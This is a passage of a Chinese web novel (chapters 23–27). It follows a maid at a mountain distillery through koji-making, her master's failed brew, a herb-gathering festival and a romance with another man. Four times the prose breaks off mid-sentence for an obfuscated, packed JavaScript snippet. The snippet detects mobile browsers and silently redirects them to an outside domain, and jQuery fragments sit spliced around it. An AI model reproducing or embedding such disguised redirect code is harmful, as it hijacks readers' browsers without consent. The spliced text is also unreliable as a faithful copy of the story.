自此便安顿下来，白日在坊里干活，日暮回自己的小屋猫着。食宿俱在岭中，虽布衣蔬食却甘之如饴。清静自在，在她两世里竟是难得的宁静惬意时光。只不知道自己这“流放”来的月钱能领多少，另想着待安稳些时日，再给刘家报个平安。 23. 二十三 六尘草庐 水车轮转，发出呜呜低鸣，像一头巨大的水牛，和着旁边水磨坊的磨盘声，勾勒出一番忙碌景象。天窗照进来的阳光，映出配料房空气中的粉尘，刘梨在一片絮影中，面目柔和，外面的嘈杂在她身边都静谧下来，祥和宁静。 门口几个大小伙子探头探脑的，被正在润粮的老杠头粗一嗓子吼散。配料房几个大姐婶子笑作一团，周大婶子胳膊肘顶顶刘梨，揶揄地朝门外努努嘴。刘梨笑了笑，指指自己的喉咙摇摇头，继续搅拌手中的曲粉——磨好的小麦颗粒，由大师傅按比例掺入大麦、豌豆等杂粮制成曲粉，加入适量水拌匀，再由杂工们把曲面装入模具，踏成曲砖。 杜家的曲砖踏得讲究：第一个工人踏九下，翻面，传给下一个；第二个同样踏九下，翻面，再传给下一人……一块曲砖经五十九人踏制，最后由专人取出曲模并修整平滑，搬入“曲房”发酵。“曲房”是特建的草屋，仅设一扇木门。曲砖送入曲房后，用泥密封木门，七日后再打开木门翻曲，依旧以泥封门；过七日再打开翻曲……反复多次。无关人等不得随意进出曲房，那里自有经验丰富的师傅看着，如何堆曲，何时翻面，怎么通风、晾晒都有章法，其后快则一月慢则三月就可制成酒曲。 老杠头是磨坊、配料房、曲房的总管事，最烦聒噪生事的人，自己嗓门却大得出奇，赶走几个愣头青，踱到刘梨身后瞧了瞧，挑不出错才走开。配料房里少有人交头接耳，即使想聊天也被水车声、磨声、踏曲声掩盖住了，刘梨嗓子还没好利索，正好借此少说话，只是磨坊周遭粉尘大，虽然戴着面巾，还是觉得嗓子痒痒的。 大口灌下一碗凉水，压住咳意。周大婶子远远招呼她，“走，吃饭去。”坊里女人不多，饭后自然而然聚在一起，难得的轻松时刻。刘梨粗布衣衫，包着头巾坐在人群中，托腮听大伙儿扯闲天。坊里弥漫着淡淡的酒糟味，耳边是家长里短的琐事，远处水斗一声一声响，像钟表的秒针踏过时空，刘梨恍恍惚惚，那个原本的世界遥远得像淡墨轻岚，迷蒙一片，漫漫随风而去。 身边婶子摇了摇她，“又走神了？全哥叫你呢！”刘梨忙起身，理理衣摆朝易全那儿去。 “我和老杠头打过招呼了，这两日你不必过去，专心把六尘草庐收拾干净，东家要住进去。” “东家？”杜淮琤！他要来？ “就是咱的杜二爷么”，刘梨跟在易全身后，就听他絮絮叨叨，“去年底二爷新制了一批酒，眼看要出窖，估摸着最近该来了，刚才接到消息后日便到，你随我去收拾收拾，看有什么缺的，赶紧跟我说。” 停住脚，易全絮叨半天发觉人没跟上，“怎的不走？”“坊主与我约法三章，不让我进六尘草庐。” 易全挠挠头，当日的事他是知道的，想了想道：“六尘草庐是东家在坊中处理公务、研制新酒的地方，确实不便有人进出，只是现下空着，倒不甚打紧。这样，东家搬进去后你不要靠近那处，如今先与我同去，有事我担待着。”刘梨这才与易全同往。 草庐是三间的竹舍，和普通农舍差不多大，疏疏围了个篱门。右厢房为侍从居室，与主屋隔着一个小茶房，左边一间锁着，不知做何用途，和主屋间有个通道，通往后头的净房。主屋的明间和书房连通，形成个大书房，东墙整面做成五层的书架，放满了书册，书案也是竹制的，案上的文房四宝有些散乱，显示主人上次离开有些匆忙；相比书房，寝室显得小了不少，一张竹榻支一副青幔便是主人的寝息之所了。 易全四下检索，列了份需要补齐的物品单子，留下刘梨一人在此洒扫。束起襷膊，先拆下寝具洗净晾晒出去，再从主屋开始擦洗，经过那间锁着的屋子，刘梨远远绕开，她可不想因为好奇心生出事端。 关上右厢房门，揉揉腰，支棱起耳朵，好像水车停了。水车酉时关闭，此时也是坊里用晚食的时候。刘梨将晾着的床幔在脸颊贴了贴，还有些湿意。夏日里太阳下山迟，便想着多晾会吃过饭再来收。 饭堂里的阿婶给刘梨留了饭，直问她哪里去了，刘梨说了原由。“新酒出窖，确实是坊里的大事。”阿婶嘀嘀咕咕，埋怨坊主不提前知会一声。虽说东家上山从不提额外要求，厨房也该多作准备才是。刘梨吃完饭帮阿婶收拾过，才踩着夕阳的余晖上山。 六尘草庐是酒坊的最高处，能看到远方山峦间的落日晚霞。山中原本的浓绿赭石，在霞光前也黯然失色，彩云影下群山都显得渺小。暮云重重，余霞散成绮，晚霞余晖浸染天空，令天穹下的人无由生出叹息。 鼻尖贴近晾架上的青幔，一点淡淡的阳光味道。微风鼓起帐幔，刘梨张臂抚上去，似乎抓住了风。夕阳在幔布上投下影子，童心大起，像蝴蝶那样扇起双臂，看自己的身影在布上扑棱，却飞不出这小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021149|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一方天地。 太阳在山峰描摹出最后一线金光，恋恋不舍地沉入山谷。影子消失，刘梨扯下帐幔，后面赫然站着一个人！ 屋里没点灯，杜淮琤站在暗处，看到那个姑娘将脸贴近幔布，晚风勾勒出她的面部轮廓，心底在轮廓上描绘出她的五官。他见过她的各种神情，含泪的、破碎的、惊恐的，不知此刻帐幔后的她是什么样子？强烈的好奇心支使他走出去，看到帐幔上振翅欲飞的影子，手隔着山岚慢慢覆上它，自己都没觉察到嘴角微微上扬，直到……她发现了他。 刘梨死死咬住唇才没惊叫出声，没想到在这样的场景下又遇到杜淮琤。他那是什么神情？好像被她吓到一般。嗓子突然一阵干涩，刘梨忍不住，侧过身剧烈咳嗽起来。 她的情况比他预料的要好，山里清苦的岁月似乎没有挫磨到她，反叫她多了分恬静淡然。只是看到自己后那厌烦的眼神怎么回事？ 杜淮琤眉头微不可察地皱了皱，待她缓和才开口道：“进去把床理好。” 刘梨进屋点了灯，还好他没跟进来。利索地把床铺好，挂帐幔却是费了不少劲，幸好程锏从外面回来接手过去，他个儿高，干这活不在话下。刘梨不好直接走人，又从门外拿进准备好的干艾草准备熏。 “这里不用你伺候了。” 刘梨应了声是，杜淮琤的语调硬邦邦的，听不出喜怒。转身刚要走，又被叫住。 杜淮琤有些气恼，她那是什么态度，时刻防着他一般，好像他是什么夜叉恶鬼。下巴向檐下的灯笼扬了扬，刚才程锏带来的，“拿上。” 刘梨不意杜淮琤为此叫住她，不愿再滞留，提起灯笼行礼退下。回自己的屋子穿过竹林最近，刘梨平日尽量不走这条路，此刻顾不得其他，选择了最短的路程。一盏灯笼映得竹林鬼影幢幢，刘梨脚下不停歇一口气跑回小屋，掩上房门便剧烈咳嗽起来。 程锏挂好帐幔，“我说咱们就该按计划后日上山，这会急吼吼地赶来，帐子还得自己挂。” “难得听你讲这么长一句话。”杜淮琤坐到书案前，“有些事我想尽早过来处理。”端起茶碗，空的。 程锏好整以暇，抱臂倚在门边，“叫回来？” 重重放下茶碗，“熏艾去！里里外外，每间屋子熏三遍！”这家伙话不多，说出口话的最戳人肺管子，看来是最近的日子太清闲了。 24. 二十四 绿蚁新醅 刘梨仍旧回配料房拌曲面。 因着东家来了，众人格外勤勉精神，坊里上下透着昂扬之气。这日坊主领着杜淮琤巡视各处，到他们这儿，踏曲工们脚下似要踏出鼓乐来，声音响得几乎盖过水车去。女工们偷偷打量杜二爷，忍不住地交头接耳，老杠头不好当着东家面发作，吹胡子瞪眼憋得脸通红。 休息时又聊到杜二爷，“咱们东家好人才，俊朗非凡。” “可不是，我瞧太爷家的公子也比不上他呢！” “你呀，说的好像见过县太爷家公子似的。”众人笑作一团。 “可不是见过？”周大婶子卖个关子，“那年去城里卖山货，路上见过一个公子，排场可大了，听说是哪家当官的少爷，我瞧着也就那样，鼻孔朝天，哪有咱们东家和善？” 和善？刘梨忍不住望向周婶子，眼睛里俱是不赞同。那个夜叉样的人物，怎么都不会跟“和善”沾上边。 “东家这次来是要亲自开窖？”有人问道。 “应该是了，去年秋末冬初桑叶落的时候下的酒，东家自己做的，很是看重，听说明日开始斋戒闭关呢。” 晚晌用罢了饭刚要回去，阿婶拿了个食盒找上刘梨。“丫头，这是六尘草庐的斋饭。估计是要变天了，我老婆子的膝盖又作犯起来，劳烦你帮我送一趟？”刘梨打心底抵触去草庐，只不忍阿婶辛苦，终是答应下来。送至篱门，扬声唤出程锏，交了食盒便走。 杜淮琤端坐在书案前，听外面传来低语，笔尖一滞，稍后程锏提着食盒进来摆饭。连着两天都是这样，饭送到院外便跑。他能听见她轻快地喊“程大哥”，就是不在他跟前露面，好像这屋里有洪水猛兽一般。杜淮琤心里没来由地郁卒，第三日想着一定把人叫进来，好叫她知道自己不是什么凶神。这回程锏倒是把人直接领进来了，却换成了帮厨的阿婶。 “阿婶怎么上来了，我记得你的腿这天气可不好过。” “难为东家记挂，老婆子的腿比原先好多了。” “回头我再给你捎些药来，趁着伏天好好养养，到了秋冬才不至于太难受。”阿婶忙千恩万谢。杜淮琤略停了停，又道：“以后饭菜你指派别人送来即可”，想想又补一句，“或让程锏去领也使得。”阿婶直说不必，哪就那么娇贵了，见东家不语，适时地退了出来。 将空食盒带回厨下，刘梨上前搀扶阿婶坐好，自己将食盒拿去擦洗。婆子边揉膝盖边道：“你这丫头忒怪，在主子跟前露脸的机会不去。” 刘梨手上活计不停，老实答道：“杜二爷脾气阴晴不定，我有些怵他。” 阿婶想了想，“东家不言语的时候是有些威严在身上的，可他真真切切是个善人。咱们坊里这些人，多少都受过杜家的恩惠。”刘梨递了杯茶给她，搓热手心，给阿婶揉起膝盖。 “就说我吧，孤老婆子一个，要不是东家留我在坊里，早饿死在山下了。”刘梨抬头，凝神听她讲述。“还有周大婶子，家里男人瘫了，做不成事，是东家许她来坊里做工，还把她那孩子送到杜家学堂里念书，一个子儿都不用她出呢。”刘梨很讶异，周婶子成天乐呵呵的，没想到也是命苦的。阿婶继续絮叨：“这么大个产业，就二爷一人撑着，是真不容易啊。”刘梨却觉得阿婶多虑，杜淮琤这样家大业大的财主，哪里需要她们这样的小角色操心？刘梨腹诽，又想到咱们这些人都是依附杜家生活，还是盼他点好吧。 七日斋戒期满，杜淮琤率一众人焚香祝祷，郑重开启封存的窖池。“主人杜氏，谨以酒、脯之荐，以相祈请，愿垂神力，勤鉴所领。饮利君子，既醉既逞；惠彼小人，亦恭亦静。敬告再三，格言斯整。神之听之，福应自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021150|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冥。人愿无违，希从毕永。” 酒坊他处难得静寂，水车动静都小很多。坊里的女人们前两天就放回家去，刘梨和阿婶这样住在山里无处可去的，也回避起来，不让随意走动。易全说了，女子属阴，新酒是阳燥之物，按老规矩须避一避，免得冲撞了。 刘梨不在乎什么冲撞不冲撞，难得的清静，窝在自己屋里偷得浮生半日闲。连日淫雨霏霏，好不容易露出些阳光，透过窗棂照进来，在地上拉出长长的影子，一直延伸到榻前。刘梨双手沐在阳光里，一会叠出个兔子，一会映出只苍鹰，正自得其乐，突然窗外晃过一个影子，飞快掠过，也不知是不是自己眼花。 过一会儿，坊里有走动声响，想是仪式结束了。正踟蹰要不要出去，门上响起敲门声。 开了门，“全哥？” 易全罕见地有点慌乱，“可看见有人经过？”刘梨摇摇头。 急忙回转，走出几步又复返，“东家不见了，你也帮着找找。”刘梨还在惊疑一个大活人怎么就不见了，易全继续道：“东家对这批新酒分外上心，刚才开窖……结果很不理想，这会人也不知跑哪去了。大伙都去找了，你也去寻寻。”她点头应下。 “对了，动静轻点，找到人就好言劝回来，不要太声张。” “我省得的。”一个大活人悄么声地消失，多少有点幼稚，动静小点给东家留些体面。 易全嘱咐完就往六尘草庐方向去，刘梨扣上门，想到刚才那个影子。她原本懒怠去找的，一想到偌大的酒坊全依仗杜淮琤，还是出了门。 屋后的林子有条山道通往白猿涧上游的崖壁，有次刘梨因为贪看景致，无意中发现的。山道难行，她只去过一次。 竹影深处，阳光难至，落叶还有些湿滑。刘梨险些滑了一跤，恰好被她发现一个清晰的脚印。 25. 二十五 浮云出壑 竹林里空气潮润，仿佛始终蒙着一层微沉的雾瘴。裙摆从沾有露珠的草丛拂过，惊起几只潜藏的虫儿。雾里传来两声鸟鸣，让一切显得分外不真实。 这条山路走得不容易，一路行来没见到半个人影。刘梨决定往更高处的崖壁寻去。出了竹林，那种沉闷的气压陡然消失，清风拂面，属于山里的各种声响好似突然取消了静音键，随风袭来，扫清了所有的沉郁。 崖壁有块凸出的大青石，一道白影立于其上，正是杜淮琤。 在她印象里他一直是骄傲自负的，此刻望着那副背影，忽然觉得这个人很孤单。偌大的天地间只有他一个灵魂，孤鸿号外野，那般的寂寥、苍凉。 听到有人靠近，杜淮琤并不想搭理，对着山涧，心里一片虚空。 刘梨候了一会，想到易全的叮嘱，先开口道：“山势险峭，东家留神。” 杜淮琤有些意外，没料到来者是她，蹙眉看向石下立着的人，“你来做什么？” “大伙担心你，要找你回去。”刘梨直言。 她虽是对他说话，眼睛却一直盯着虚空，杜淮琤脑子尚不及反应，话已经出口了，“担心我的人也包括你吗？” 刘梨惊愕抬头，撞上他探询的目光，忙低下眉眼胡乱答道：“您是东家，杜府、酒坊都指着您，自然是……自然是担心的。” 杜淮琤凝视她良久，才别开脸去，自嘲道：“呵，指着我？我是个没本事的。” 看来确是因新酒没制成，心里不痛快。“只是失败一次，再来过便是了。” “谈何容易？这批酒和旁的不同，我足足准备了三年。从选粮、制曲，到窖池发酵，每一道步骤都亲自把关，还是没制成。三年……三年的时光虚掷了。”空山寂寂，他难得吐露心扉。 “成大事者，当经得起磋磨。失意一次便消极气馁，以后何能复起焉？” 他转过头，女子衣袂飘飘，柔弱的身姿说出的话却是掷地有声。“那依你的意思呢？” “屡败屡战，越挫越勇。” 杜淮琤兴味地看向女人，这会的她倒是抬起头，双眸亮晶晶的，娇小的一个女子此刻却充满了力量。 “姑娘真乃女中丈夫也。”杜淮琤由衷道。 刘梨意识到刚才话有点多，垂下头去，掩藏起神色。 看她又收起神采，想起过往种种，杜淮琤不忍道：“上次，修齐的事，我很抱歉。” 刘梨暗暗捏拳，那难耐的羞辱感又浮起，呛道：“您是在道歉吗？哪有这副高高在上姿态道歉的？” 杜淮琤看看“高高在上”的自己，是不妥，伸出手去，“来，我拉你上来。” 他显然会错了自己的意思，眼前的手又朝她伸了伸。定是刚才林间的雾气迷了神，刘梨顺着手看向他的主人，那眼底清湛，并无一丝旖旎的意思。 手放进去，稍一用力便被拉上青石。她的手温软细腻，他的手纤长有力，两人几乎同时松开。并肩望去，西岭山处于一片群山包围中，徒目四野，周遭都是高耸入云的山峰。 “看到那棵松没？待会会有云从树后飘出来。” 刘梨顺着杜淮琤的手看过去：峭壁上横出一枝松，像一柄青剑深深插入石壁中。果然，一缕浮云从树后徐徐飘出，仿若悬浮的白练在松树周围踯躅不前。松影沐浴在这片云幕中，时隐时现，像两个痴缠的恋人。不一会儿霞光忽起，给松树和轻云镀上金色的华彩，整个山谷流光铄金一般笼罩在云霞之中。许久，那缕云雾才恋恋不舍随山风散化而去，只余青松傲立于世、俯瞰沧海。 “修齐是兄长遗孤，我将他看得很重。”杜淮琤开口道：“我没有母亲，幼时看别人有娘亲，心里嫉妒得很。觉得上天待我不公，愈发顽劣，宣泄委屈不满。父亲不懂，每每斥责于我，都是兄长替我挡着。”说到这他略停了停，似沉浸在往昔岁月里，脸上挂着复杂神情，一时欣喜一时悲戚。刘梨听他讲起故往秘辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021151|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，略有些不自在，不便打断只能安静听他继续讲述。“后来兄长与薛家小姐议亲，我从心底为他们高兴。我们是打小一起长起来的，我早把薛小姐看作一家人。他们大婚我高兴地喝了个昏天暗地，后来……”想到那荒诞岁月，他满腔的自责。“后来我收到消息兄长病了。他临终将杜家托付给我，之后修齐出生，再然后老父病逝，家里只能靠我了……外头不看好我，府里闲言碎语也传起来，我索性将人清理了个干净！这些年宵衣旰食，夙兴夜寐，杜淮琤，终不坠杜家的名号。”他深吸口气，缓了缓心神，从过往中抽身出来，“杜家我是替父兄守着的，修齐是我为兄嫂护着的，别人把杜淮琤看得再不堪，我也不允许伤他们一分一毫！”刘梨品量他的话，一时也难以平复。 杜淮琤正了正衣冠，叉手行礼，“杜某前次冒犯了姑娘，盖因关心则乱，失了分寸，在此诚恳向你赔罪。”说罢深深拜下去。 刘梨忙扶住，“二爷谦以下士，婢子惶恐。”松开手，接着道：“修齐失踪二爷心忧恼怒，我能体谅，疏忽职守婢子受罚无有怨憎。”停了停，杜淮琤听她又道：“却不能原谅你对我那般凌辱，婢子身份低贱，也是好人家的女儿，断不该被爷们这样欺侮。” 一个“能体谅”一个“不原谅”，搅得杜淮琤心生烦乱。他看向刘梨，姑娘眼圈微红，说出当日的难堪对她而言已是不易，硬撑着不让自己显出弱势来，和那晚攥着他强忍眼泪一样的倔强。他少有地忐忑起来，“在下浮浪无行，折辱了刘姑娘，若是有什么能弥补杜淮琤绝不二话。” 风猎猎吹起衣裳，她望向山中自在的流云，杜淮琤突然对她将要说出的话生出恐惧。 “刘梨别无所图，只愿契约期满，赎身为民。” 心里哪处空了一块，好像有什么抓不住了。 杜淮琤一时语塞，找不出妥当的话来回答，先前承诺已出，只得回道：“好，我应你。” 山风拂岗，吹散烟尘。 26. 二十六 水蓼花红 二人一前一后，在山路上隔了好大一段距离。行到路径崎岖处，杜淮琤略等了等。看她体态轻盈，行动敏捷，丝毫不扭捏，唇角悄悄勾了勾。 林间寂静，长时间的沉闷显得有几分尴尬。竹影映在他的外衫上，好似暗纹浮动。他还穿着开窖时的衣裳，为显郑重今日特意挑了圆领大袖的襕衫，方锦捻金丝，即使身处山野也不失贵气。浅淡大裳映照林间浮光掠影，流动的翠竹像光阴一样倏忽流逝。 也就是杜淮琤脊背宽阔，才将衣裳撑成了竹的画幕。刘梨看得入神，不知不觉靠近了些。似有所感，他回头看了看她，刘梨来不及收回目光，慌忙掩饰开口道：“我是刘家的养女，因刘婆思女如狂，将我误作她病故的女儿，这才顶了刘二娘的身份。”杜淮琤意外她此时提起这个，并不打断，由着她说下去，“自卖入府是为了换钱救刘家哥哥，并没有别的意图。”至于和伍子骥的关系，想必他也打探过，刘梨暂想不出更好的说辞，索性闭了嘴。 杜淮琤没有出声，眼看就要到了酒坊，突然停下脚步，从路边沟里折了两支花。“你可认得这花？”这是一种常见的野花，细长的茎秆顶端结满小花骨朵，一支白色，另一支透着淡淡的红，芝麻粒大的花朵儿聚在一起，坠得花枝弯折，像缀着花的麦穗，这个季节沟壑边上常能看见，挤挤挨挨一片，只是叫不上名字。 “这是辣蓼草，也叫酒药草，过些日子就是六月六，坊里要采辣蓼草制酒曲。”刘梨在配料房干了些时日，不解道：“我看坊里的酒曲都是用小麦、大麦、豌豆为主，倒不曾听说用这个。”刘梨就着他的手认真观察两支小野花。 “这是做甜酒的，杜家每年这时节都会酿上一些送给至交亲朋，余者分给坊内众人。咱们坊里酿酒，平素却不许佣工饮酒，这甜酒倒是可以喝一点，夏日里饮了也可驱邪避秽。”女孩离得近了，呵出的气呼在手背上，微微的痒。他忙将花塞到她手里，转身道：“六月六采酒药草也是一大乐事，你现在把它样子认仔细了，到时候跟着一起去。”说罢不再理会，大步往坊里走去。 刚出梅，这几日天气晴好，坊里把晾酒药草的蔺草席搬出来清洗干净，摊在料场暴晒。虽然还处在新酒失败的阴霾中，但是刘梨感觉得到众人暗暗的兴奋劲儿。酒坊上下齐洒扫干净，不少年轻的小伙子竟开始置办起新装。连杜淮琤都说六月六是一大“乐事”，刘梨被勾起好奇，向同在料场干活的周婶子打听，婶子与她神秘一笑，只道：“到时候你就明白了。” 当日，天边刚泛起一片鱼肚白，山门那儿就响起阵阵嘈杂声，跟倒了喜鹊窝般热闹。 刘梨跑去一看，终于明白酒坊的小伙子为何那般用心打扮了。两排灯笼下，只见二十来个采药姑娘，穿红戴绿，背着一色的竹篓，呼啦啦挤满整个山门。不知是哪代传下的规矩，酒药草要女孩儿采集，这些是从附近请来的山民，都是十六七岁的年纪，正是姑娘家最娇美的年华，再稍加妆扮，更显得清丽可爱。 酒药草得趁着太阳未盛时采回才好，山下来的姑娘和坊里几个女孩集结完毕，一齐往山上走。天色晦暗，有人点起火把，星星点点在山路上蜿蜒成一条龙。男人们只能送到白猿涧边，上面的路由姑娘们自己走。 山林里黑黢黢的，偶有只怪鸟，忽地从水岸边飞起，阴阳怪气地叫两声。“别害怕，那是水鹭，被咱们搅了好梦骂骂咧咧呢。”一个圆脸的姑娘走在刘梨近旁，说完朝远处扔了颗石子，喊了声“去！”身上不知什么首饰跟着响了一声，“叮铃铃。”刘梨笑笑，“嗯！我不怕。” 姑娘说她叫兰儿，就住在山下，这是第三次上山采酒药草了，两个姑娘凑在一起说了会话，队伍中有人唱起歌，立刻有人跟着和起来。歌词大意是年轻的姑娘思念心上的人儿，盼望早日与情郎相聚。曲调哀怨婉转，悲凉凄清。刘梨也随着众人轻声哼唱，受歌声感染，心里竟忍不住地泛起寂寞酸楚。 “看！酒药草!” 循声望去，借着微曦的晨光，只见林间一片空地上，满目尽是白色的花朵，轻灵、娇美，仿佛天上的星子全降临到这爿天地来。 “采酒药草要赶在花期前，咱们只取顶部鲜嫩的部分，采七留三，不可尽采。”领头的姑娘嘱咐道，“注意安全，左右看顾一下，不要走散了。”于是大伙分开采摘，这片采了七八成，又往林间走了一程，换一处再采。 旭日升起，每个人竹篓里已塞得满满的，顶上又铺了厚厚一层松针。有的姑娘篓子里还放了几朵菌子。兰儿抓了一把黑紫的野果递给刘梨，她捏起两颗尝尝，酸酸甜甜，正好生津止渴。 领队点好了人数，带着姑娘们下山。 下山比上山轻快地多，即使疲累，姑娘们仍旧兴致高昂，唧唧喳喳说笑不已。刘梨边走边给兰儿编了只草帽，这还是跟阿麦学的手艺，只是她编的更秀气、帽檐更凸出，帽上还点缀了几朵草花。“给你，遮遮太阳。”刘梨把草帽扣在兰儿脑袋上，喜得姑娘在队伍里跑了一圈，炫耀她的新帽子，腕上的小银铃“叮铃铃”响了一路。 “可惜今年是我最后一次上山，不然明年还能和梨姐姐一块采酒药草呢。”兰儿回到刘梨身边，抚着她的草帽，不无遗憾道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021152|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么明年就不能上山来呢？” “我年岁到了，年底前说亲，明年就要出门子了。成了亲就不能来采酒药草啦。”兰儿大大方方说道，刘梨看她眼底藏着光亮，显然对婚事有着期盼。 “是送你银铃的男子吗？”刘梨猜测。 兰儿抿嘴笑着点点头，又而转脸对刘梨道：“梨姐姐，你长这么好看，说亲的人一定不少吧？”刘梨不妨她问地这么直白，讷讷道：“还、还没有。”兰儿一脸的不信，刚要打破沙锅问到底，被其他姑娘岔开话，饶有兴致地聊别的去了。 刘梨心里却泛起了涟漪，她这个年岁在此世该谈婚嫁了，一个小奴婢婚姻事由谁做主？是主人家随便配了，还是由刘家找一门亲？ 还有，她的那一世，当真回不去了？ 长叹口气，深深怀念起上一世，至少还能做得了自己的主。眼下却是万般的无可奈何。如果有的选……有的选？能是他吗？ 想起过往种种，他温和有礼，目光澄净，眼里只映出一个自己。屡次相助相惜，到底是君子谦谦，还是唯独对她才展现的温柔？两颊微烫，赶紧摇摇头，她不过一个婢女，现下的处境还由不得她胡思乱想，不管如何还是先赎身出府去。 一阵哄笑唤醒刘梨，原来是迎面来了一队接应的人。酒坊的小伙子半路接上女孩们，自发背起姑娘们的竹篓往山下去。 采回的酒药草及时被清洗干净，晾晒在料场上。整个上午，料场一直热热闹闹的，透着蓬勃朝气——西岭酒坊难得的轻松惬意时刻。料场边围坐了一圈年长者，笑看新装的青年在人群中穿梭，遇到中意的姑娘，就主动帮她干活，姑娘要是对青年有意，会趁人不备塞给他一个信物，往往是姑娘亲手做的绣活，都是提前备好的。做小动作有被发现的，众人一番起哄，小伙也不嗔怪，大大方方宣告主权。怪道提起“六月六”婶子们神神秘秘的，这样的“集体相亲”在西岭传了几代，俨然成了附近几个乡里相沿成习的风俗。 刘梨在人群外围，自顾在水渠边清洗松针，据说制酒药的时候会派上用场。细长的松针浸在清水里，层林叠翠一般，刘梨微微出神，耳边忽响起一声呼唤：“刘家丫头！” 抬头望去，花白胡子，提着个水囊，正笑盈盈地看着自己，刘梨喜道：“彭老！” 彭老笑笑不答话，示意刘梨朝身后看。 一袭青衫，身姿清矍，分拨开众人朝她走来。他噙着笑，像一缕阳光直照进心里，开解了多日的郁结。熙攘的人群扰乱不了他的步伐，喧闹的旁人移转不了他的方向，那双眼定定看着自己，那里只有她。 27. 二十七 蕉荫细雨 青石蹊径，一架油毡马车静静停在山下。 这是通往山下的路，曲径通幽，花木扶疏。“我竟不知道西岭还有这样一条小路。” 伍子骥轻笑，他比刘梨高出不少，此刻站在下层石阶，堪堪与她平视。“你成日里在酒坊，才走过几回山路，自然不知道。” “你倒是常在路上。”她脱口而出。 他听出话里深意，连刘梨自己都没发觉带着一丝嗔怨，不禁又忧又喜，口中只道，“子骥身不由己，常年在外奔波，一是不愿辜负先前东家看重，二是想着辛苦几年，好歹置些家业，再娶房贤妻，便安定了。” 刘梨虽来自异世，毕竟是个未经事的姑娘家，听他说什么“娶”、“贤妻”，便有些不自在，错身而过，“世人都道‘成家立业’，‘成家’在前，‘立业’在后，先生倒是颠倒了顺序。” “伍某没上人在堂，无人替我操持，便耽搁下来了。”他跟上她，“且之前没碰到心悦之人，姻缘来的似晚些，故而迟迟未成家。”说罢便不语，只把眼定定看着她。 刘梨咂摸“之前”二字，羽睫轻颤，想问他“现在”，咬咬唇，终是没问出口。 二人无言，继续朝山下走。前面看不到的地方，彭老已驾车在山下候着，走完这段路，他又要外往异处他乡，不知归期几何。 山中气候多变，行至山腰竟滴下几点雨来。 刘梨转身要回去，被伍子骥拉住，“去哪儿？”“回去帮着收酒药草！” 他哑然失笑，“坊里那么些人，哪就指着你了？”抬头看看云，“这是云头上的一点雨，一会儿就该停了。”两人手还拉着，他并不放开，反手将她包在掌心。 “随我来。” 山里一丛野芭蕉，油绿的叶子像擎着几柄巨伞，纵横交错，遮出一方小天地。伍子骥让刘梨紧贴蕉叶站着，自己回身替她挡着雨丝。 这么一来，就被他囿在身前，落入了他给她圈出的圆。 刘梨脸一定红透了，周身全是他的气息，偏他又问道：“可是着了凉，怎的脸这样红？”嗔了他一眼，手想挣脱，却被他握得更紧。 这一眼少了平时的谨小慎微，带着女儿家的娇俏，“我第一次见你，是在那个茶肆。你被猎户扣着，身上带着伤，像一头掉入陷阱的牝鹿。所有男人都盯着你，贪婪、卑劣！我气极了！”双眼蒙上雾霜，刘梨听他继续道，“买下你是一时冲动，我向来自制，鲜少如此失控，慌忙上路，只想离了你赶紧冷静下来。” “你可真狠心啊，我的脚那么痛，差点追不上你。”惯常坚毅的人，突然有人心疼，就会软了心肠。眼泪无声滑落，伍子骥为她拭去，指腹忍不住地在粉颊上摩挲。 “还好你追上来了，”清俊的容颜露出笑意，“我把你安置在刘家，本不想理会，以为久了便会淡忘。可你像个精怪，时不时地闪进我脑海里。后来、后来实在思念，找了借口再去刘家，得知你竟然不知所踪，我心里像被挖空了一块！”刘梨想张口说话，被他食指抵住唇。“幸而冥冥中自有天意，兜兜转转你又进了杜府。” 刘梨心潮起伏，一直以为他是淡定自持的，想不到内里有过这样的波澜。“刘梨自来孤苦伶仃，陷于贼人之手本以为落入绝境，幸得先生搭救，先生救命之恩，我无以为报。” 雨势大了些，淅淅沥沥打在蕉叶上，几乎盖过人声去。 